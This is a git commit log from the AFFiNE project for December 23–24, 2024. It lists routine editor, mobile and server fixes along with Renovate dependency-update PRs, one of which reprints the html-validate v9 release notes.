2024-12-24 07:51:11 +00:00
forehalo fbe3e08769 chore(i18n): codegen 2024-12-24 15:34:07 +08:00
liuyi 2443935830 chore: add monorepo tools (#9196) 2024-12-24 15:29:48 +08:00
liuyi e3a8b63e38 fix(core): list style issue in selection mode (#9275) 2024-12-24 15:19:34 +08:00
JimmFly 29c427be1d chore: adjust i18n (#9270) 2024-12-24 15:19:19 +08:00
doouding 4ead165dd5 fix: mini mindmap layout (#9276)
Fixes [BS-2197](https://linear.app/affine-design/issue/BS-2197/ai-生成-mindmap-预览异常)
2024-12-24 06:55:26 +00:00
donteatfriedrice 338835a4aa fix(editor): limit max width when uploading or pasting image into edgeless (#9273)
[BS-2180](https://linear.app/affine-design/issue/BS-2180/白板中粘贴图片,限定一下最大宽度)
2024-12-24 06:28:59 +00:00
Saul-Mirone 4ce5cf20c3 refactor(editor): extract filterable list component (#9278) 2024-12-24 05:14:22 +00:00
Saul-Mirone ea0a345533 refactor(editor): extract common components (#9277) 2024-12-24 04:42:53 +00:00
darkskygit 475e3d80b2 fix(server): vague initial chat content in test (#9267) 2024-12-24 04:26:52 +00:00
L-Sun 4c11537bef feat(mobile): auto show text keyboard subtoolbar when selecting text (#9256)
Close [BS-1924](https://linear.app/affine-design/issue/BS-1924/文本选中后-切换toolbar)

https://github.com/user-attachments/assets/2361dfb9-82ae-4be3-808c-6ea33a70c84d
2024-12-24 04:11:00 +00:00
doodlewind 98f88d2615 chore: base url for mobile debug (#9268)
Without this PR, the login requests on mobile devices will be sent to `localhost:8080`, which is incorrect.
2024-12-24 03:54:56 +00:00
CatsJuice 209c0889f8 fix(mobile): reset active-tab to home on ios/android when launched (#9245) 2024-12-24 03:39:56 +00:00
CatsJuice 3a8d90d861 feat(mobile): use native select for mobile setting (#9236)
![CleanShot 2024-12-21 at 12.01.32.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/8f29afcc-3541-4081-9f8f-f74e3ba08c4d.gif)
2024-12-24 03:24:51 +00:00
pengx17 17c2293986 feat(core): open in app for self-hosted (#9231)
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/T2klNLEk0wxLh4NRDzhk/545994dd-6f7d-468d-a90c-45cb382fdb9d.mp4">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/T2klNLEk0wxLh4NRDzhk/545994dd-6f7d-468d-a90c-45cb382fdb9d.mp4">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/545994dd-6f7d-468d-a90c-45cb382fdb9d.mp4">20241222-1456-24.5006677.mp4</video>

fix AF-1815
2024-12-24 03:04:02 +00:00
zzj3720 884bbd2ada feat(editor): add tracking for the creation of linked-doc (#9266)
close: BS-2189
2024-12-24 02:49:21 +00:00
Saul-Mirone b29cb5945a refactor(editor): move file drop manager to components (#9264) 2024-12-24 02:20:03 +00:00
pengx17 74a168222c fix(core): disable page header title from dragging when editing (#9258)
fix AF-2014
2024-12-23 13:27:00 +00:00
Saul-Mirone 989e318c57 chore: adjust tsconfig for blocksuite (#9259)
change `moduleResolution` to `bundler`
2024-12-23 13:10:55 +00:00
CatsJuice 2793080a57 fix(core): toggle page mode when split view opened (#9221)
close AF-2007
2024-12-23 12:55:29 +00:00
L-Sun 8e1ceec4f9 chore(editor): hide title of locked group (#9261)
Close [BS-2188](https://linear.app/affine-design/issue/BS-2188/[improvement]-多个yuan素-lock-后不渲染标签)
2024-12-23 12:39:07 +00:00
L-Sun f770daec0a chore: update commit scope enum (#9262) 2024-12-23 12:39:05 +00:00
Saul-Mirone 17e6e7fede fix: typo in reactive text (#9260) 2024-12-23 12:23:56 +00:00
pengx17 8b076cb2a7 chore(core): edit property meta events (#9253)
fix AF-1986
2024-12-23 11:36:24 +00:00
doouding b246a2d45f fix: drag mind map root node should layout in real time (#9252)
Fixes [BS-2062](https://linear.app/affine-design/issue/BS-2062/拖拽整个-mind-map-还是希望和之前一样,整个思维导图跟手)
2024-12-23 10:33:56 +00:00
darkskygit aacdb71ee2 feat(server): role changed email (#9227) 2024-12-23 10:13:04 +00:00
L-Sun 067469aa98 fix(component): prevent auto focus in mobile modal (#9247)
Continue [BS-2169](https://linear.app/affine-design/issue/BS-2169/新的-menu-不支持移动端)
2024-12-23 09:56:58 +00:00
L-Sun ba355d098d chore: add vscode tasks.json to gitignore (#9255) 2024-12-23 09:42:02 +00:00
donteatfriedrice 54cb161309 feat(core): export doc with adapter extension (#9226) 2024-12-23 09:24:55 +00:00
Flrande 43c20c4e05 fix: can not select all block when some block collapsed (#9248) 2024-12-23 09:09:54 +00:00
JimmFly c793f2307b fix(core): quotaCheck dialog should not appear in team workspace (#9223)
![CleanShot 2024-12-20 at 16 37 17@2x](https://github.com/user-attachments/assets/3bd1107f-cbc8-4415-85ba-e30cf6712f5e)
2024-12-23 08:52:04 +00:00
donteatfriedrice 02aeb89398 feat(core): add plain text adapter for database block (#9225)
[BS-2059](https://linear.app/affine-design/issue/BS-2059/补齐-database-plain-text-adapter)
2024-12-23 08:35:54 +00:00
Saul-Mirone 23dcaa9cb7 refactor: remove legacy drag handle logic (#9246) 2024-12-23 08:13:05 +00:00
donteatfriedrice a187f23452 chore: each block maintain its own adapter extension (#9224) 2024-12-23 07:54:59 +00:00
CatsJuice 5716fbf0ed chore: remove unnecessary log (#9251) 2024-12-23 07:22:58 +00:00
CatsJuice 9fb5e0db63 perf(core): optimize scrolling performance for doc list (#9250)
- before
  ![CleanShot 2024-12-23 at 14.45.47.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/3e62773f-00f8-4464-a342-c3cd5c5b6edb.gif)
- after
  ![CleanShot 2024-12-23 at 14.46.22.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/d713ea5e-ba2d-4251-b93a-a1d0ececc7eb.gif)
2024-12-23 07:07:57 +00:00
EYHN 129f94ee78 refactor(core): move infra modules to core (#9207) 2024-12-23 04:54:00 +00:00
pengx17 2ea79d25ad chore(core): events for backlinks (#9228)
fix AF-2008
2024-12-23 04:37:59 +00:00
pengx17 c775b2e264 fix(core): text-renderer should be readonly (#9244)
fix AF-2010, AF-2009
2024-12-23 04:19:06 +00:00
renovate 97e448fc57 chore: bump up html-validate version to v9 (#9242)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`^8.27.0` -> `^9.0.0`](https://renovatebot.com/diffs/npm/html-validate/8.29.0/9.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/8.29.0/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/8.29.0/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>html-validate/html-validate (html-validate)</summary>

### [`v9.0.0`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#900-2024-12-23)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v8.29.0...v9.0.0)

##### ⚠ BREAKING CHANGES

-   **meta:** The deprecated metadata property expressions have been removed
    and can be replaced with callback functions. This gives greater control for the
    metadata author, provides better IDE support and is more reusable when querying
    the metadata directly.

-   **api:** `Config.merge(..)` will return a `Promise` when used with an
    async loader or resolver.

-   **config:** This change affects all users. The following deprecated
    configuration presets has been removed:

    -   `htmlvalidate:recommended`
    -   `htmlvalidate:document`
    -   `html-validate:a17y`

-   **cli:** CLI uses ESM (with `esmResolver`). For most part this shouldn't
    affect anything but in some cases you might need slight configuration
    migration. See Migration Guide for details.

refactor(cli): use ESM in CLI

-   **deps:** Requires NodeJS v18 or later.
-   **api:** The deprecated `tag:open` and `tag:close` events has been
    removed, use `tag:begin` and `tag:end` instead.
-   **api:** The `Config.resolve()` method can return a `Promise` if any
    underlying loader or resolver has returned a `Promise`.

It is recommended to assume it returns a `Promise` and always `await` the
result:

```diff
-const resolved = config.resolve();
+const resolved = await config.resolve();
```

If you need synchronous code ensure the configuration, the loader and the
resolver all returns synchronous results, e.g. the `staticResolver` with
synchronous code.

-   **api:** The `HtmlValidate.getConfigurationSchema()` method is now async
    and returns a `Promise`. If you use this method you need to await the result:

```diff
-const schema = htmlvalidate.getConfigurationSchema();
+const schema = await htmlvalidate.getConfigurationSchema();
```

-   **api:** If you are writing your own transformers they may now
    optionally return a `Promise`. If you are using `test-utils` to write unit tests
    you must now resolve the promise.

```diff
 import { transformSource } from "html-validate/test-utils";

-const result = transformSource(transformer, source);
+const result = await transformSource(transformer, source);
```

This is no matter if your transformer is actually async or not.

-   **api:** The `CLI.isIgnored(..)` method has been removed from the public
    API. There is no replacement. If you need this method open an issue describing
    the use-case.
-   **api:** If you are using the `CLI` class most methods are now async and
    returns `Promise`. There is no synchronous version of these API calls.
-   **api:** `Config.fromFile(..)` and `Config.fromObject(..)` will return a
    Promise when used with an async loader or resolver.
-   **api:** `ConfigLoader` methods can optionally return a `Promise` for
    async operation. For most use-cases this will not require any changes.
-   **api:** The `ConfigLoader.globalConfig` property has been replaced with
    `ConfigLoader.getGlobalConfig()` (async) and
    `ConfigLoader.getGlobalConfigSync()` (sync).
-   **api:** The redundant and deprecated `Config.init()` method has been
    removed.

Remove any calls to the method:

```diff
 const config = Config.fromObject({ /* ... */ });
-config.init();
```

##### Features

-   **api:** `CLI.isIgnored()` made private ([9e3679a](https://gitlab.com/html-validate/html-validate/commit/9e3679a13a701cbb108ea64ff187ee235124cd21))
-   **api:** `CLI` methods async and return Promise ([677c73e](https://gitlab.com/html-validate/html-validate/commit/677c73e51a78b12731837e24a6f6fb33859b5889))
-   **api:** `Config.fromFile` and `Config.fromObject` can return `Promise` ([b126361](https://gitlab.com/html-validate/html-validate/commit/b1263617015a54550a13ba6d09c23c82c8c87f10))
-   **api:** `Config.merge(..)` can return `Promise` ([cccb313](https://gitlab.com/html-validate/html-validate/commit/cccb313c67ea342a59d7c9887fef8163e9463808))
-   **api:** `Config.resolve()` can return `Promise` ([09159f3](https://gitlab.com/html-validate/html-validate/commit/09159f39c579ac97021533c26d0b3def7959ef00))
-   **api:** `ConfigLoader`s can optionally return `Promise` for async operation ([6041581](https://gitlab.com/html-validate/html-validate/commit/6041581eb879f68d6ad8bf45b2f216af994cac7d))
-   **api:** `FileSystemConfigLoader` uses `esmResolver` by default ([dd4cfb1](https://gitlab.com/html-validate/html-validate/commit/dd4cfb1e1b00c892ca8ad8127cd2589ed5d6a110))
-   **api:** `HtmlValidate.getConfigurationSchema()` returns promise ([f10ec1a](https://gitlab.com/html-validate/html-validate/commit/f10ec1a650700778dc52f288f0f7b3e2c6ba4873))
-   **api:** allow transformers to return single source ([fd126da](https://gitlab.com/html-validate/html-validate/commit/fd126dab3f69db38407736ea0b885710e98466ad))
-   **api:** new `esmResolver` using `import(..)` (available for both nodejs and browser) ([81b4777](https://gitlab.com/html-validate/html-validate/commit/81b47770836e6e44bc917ca739a796e31dd7c1f6)), closes [#&#8203;230](https://gitlab.com/html-validate/html-validate/issues/230)
-   **api:** remove deprecated `Config.init()` ([0bd8ab7](https://gitlab.com/html-validate/html-validate/commit/0bd8ab787a57c72698eb3e250973e26c1a99da89))
-   **api:** remove deprecated `tag:open` and `tag:close` events ([88ac65e](https://gitlab.com/html-validate/html-validate/commit/88ac65ee6bc281023153caa81785ea6158631e00))
-   **api:** replace `ConfigLoader.globalConfig` with `ConfigLoader.getGlobalConfig()` ([a64935a](https://gitlab.com/html-validate/html-validate/commit/a64935af918d79fb8f485e1ceb228db6f762ccf7))
-   **api:** resolvers may optionally return `Promise` for async operation ([fe3c6a6](https://gitlab.com/html-validate/html-validate/commit/fe3c6a63624f7e4eb0641adf881ba1bc130eb3c6))
-   **api:** transformers may optionally return `Promise` for async operation ([823da19](https://gitlab.com/html-validate/html-validate/commit/823da1998e5a6eb3956bb4bd0fa7821bfcd81caf))
-   **cli:** cli uses esm (with `esmResolver`) ([3e4759e](https://gitlab.com/html-validate/html-validate/commit/3e4759e4a3c259157f331ddee72c3338df80e365))
-   **config:** remove deprecated configuration presets ([dbf5cf4](https://gitlab.com/html-validate/html-validate/commit/dbf5cf405b2970840e3df4fc21af40fa34d797ea))
-   **config:** support `.htmlvalidate.mjs` configuration files ([0ffd9b5](https://gitlab.com/html-validate/html-validate/commit/0ffd9b5f0ee9f6de757dadf1a11099dcf6952b06)), closes [#&#8203;125](https://gitlab.com/html-validate/html-validate/issues/125)
-   **deps:** require node 18 or later ([d4f3bcb](https://gitlab.com/html-validate/html-validate/commit/d4f3bcb0a6b21d56a063afeea9942a2aa342466c))
-   **meta:** remove deprecated property expressions ([a77043c](https://gitlab.com/html-validate/html-validate/commit/a77043cff36220e598796c4b640a31e81d14a6ae))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44MC4wIiwidXBkYXRlZEluVmVyIjoiMzkuODAuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-23 04:02:52 +00:00
Saul-Mirone e0d2f50914 fix: drop on editor should prevent default (#9239) 2024-12-23 03:40:04 +00:00
renovate 331aa47a0e chore: bump up all non-major dependencies (#9180)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.712.0` -> `3.717.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.712.0/3.717.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.712.0/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.712.0/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.712.0` -> `3.717.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.712.0/3.717.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.712.0/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.712.0/3.717.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@chromatic-com/storybook](https://redirect.github.com/chromaui/addon-visual-tests) | [`3.2.2` -> `3.2.3`](https://renovatebot.com/diffs/npm/@chromatic-com%2fstorybook/3.2.2/3.2.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@chromatic-com%2fstorybook/3.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@chromatic-com%2fstorybook/3.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@chromatic-com%2fstorybook/3.2.2/3.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@chromatic-com%2fstorybook/3.2.2/3.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@clack/core](https://redirect.github.com/natemoo-re/clack/tree/main/packages/core#readme) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/core)) | [`^0.3.5` -> `^0.4.0`](https://renovatebot.com/diffs/npm/@clack%2fcore/0.3.5/0.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@clack%2fcore/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@clack%2fcore/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@clack%2fcore/0.3.5/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@clack%2fcore/0.3.5/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@clack/prompts](https://redirect.github.com/natemoo-re/clack/tree/main/packages/prompts#readme) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/prompts)) | [`^0.8.2` -> `^0.9.0`](https://renovatebot.com/diffs/npm/@clack%2fprompts/0.8.2/0.9.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@clack%2fprompts/0.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@clack%2fprompts/0.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@clack%2fprompts/0.8.2/0.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@clack%2fprompts/0.8.2/0.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs) | [`3.0.0-alpha.64` -> `3.0.0-alpha.65`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.64/3.0.0-alpha.65) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@napi-rs%2fcli/3.0.0-alpha.65?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@napi-rs%2fcli/3.0.0-alpha.65?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@napi-rs%2fcli/3.0.0-alpha.64/3.0.0-alpha.65?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@napi-rs%2fcli/3.0.0-alpha.64/3.0.0-alpha.65?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@opentelemetry/core](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-core) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.29.0` -> `1.30.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fcore/1.29.0/1.30.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fcore/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fcore/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fcore/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fcore/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.56.0` -> `^0.57.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.56.0/0.57.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-prometheus/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-prometheus/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/exporter-zipkin](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-exporter-zipkin) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.29.0` -> `1.30.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-zipkin/1.29.0/1.30.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-zipkin/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-zipkin/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-zipkin/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-zipkin/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.56.0` -> `^0.57.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.56.0/0.57.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-graphql](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-graphql#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.46.0` -> `^0.47.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-graphql/0.46.0/0.47.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-graphql/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-graphql/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-graphql/0.46.0/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-graphql/0.46.0/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.56.0` -> `^0.57.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.56.0/0.57.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-http/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-http/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-ioredis](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-ioredis#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.46.0` -> `^0.47.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-ioredis/0.46.0/0.47.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-ioredis/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-ioredis/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-ioredis/0.46.0/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-ioredis/0.46.0/0.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-nestjs-core](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-nestjs-core#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.43.0` -> `^0.44.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-nestjs-core/0.43.0/0.44.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-nestjs-core/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-nestjs-core/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-nestjs-core/0.43.0/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-nestjs-core/0.43.0/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-socket.io](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/instrumentation-socket.io#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.45.0` -> `^0.46.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-socket.io/0.45.0/0.46.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-socket.io/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-socket.io/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-socket.io/0.45.0/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-socket.io/0.45.0/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
